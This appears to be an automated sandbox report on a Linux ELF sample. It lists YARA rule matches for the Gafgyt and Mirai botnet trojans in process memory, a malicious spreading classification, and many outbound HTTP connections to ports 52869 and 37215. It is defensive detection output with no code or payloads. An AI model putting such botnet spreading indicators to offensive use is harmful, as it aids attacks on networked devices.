Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a, id = e0673a90-165e-4347-a965-e8d14fdf684b, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6, id = d0c57a2e-c10c-436c-be13-50a269326cf2, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1, id = 656bf077-ca0c-4d28-9daa-eb6baafaf467, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f, id = 32eb0c81-25af-4670-ab77-07ea7ce1874a, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec, id = 3fe3c668-89f4-4601-a167-f41bbd984ae5, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c, id = 637f2c04-98e4-45aa-b60a-14a96c6cebb7, last_modified = 2021-09-16
Source: Process Memory Space: x86.elf PID: 5488, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: x86.elf PID: 5489, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: x86.elf PID: 5494, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@3/0

Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/memcpy.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/mempcpy.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/memset.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strchr.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcmp.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcpy.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strlen.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strpbrk.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strspn.S
Source: x86.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crt1.S
Source: x86.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crti.S
Source: x86.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crtn.S
Source: x86.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/vfork.S

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48420 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55648 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43260 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34958 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44106 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54712 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43520 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39422 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35244 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48866 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52720 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42220 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46616 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47776 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43772 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60542 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34854 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36636 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45140 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40116 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59346 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41528 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60590 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60146 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45650 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54152 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55812 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47126 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34282 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38464 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56464 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54822 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46150 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48640 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37204 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39364 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34674 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58166 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47548 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42750 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60068 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48316 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35434 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55282 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49442 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57776 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38322 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40272 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42146 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56634 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42422 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36188 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41296 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58160 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36112 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54310 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52804 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46816 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57480 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49070 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36646 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51194 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38928 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52762 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43074 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47366 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46150 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36200 -> 52869
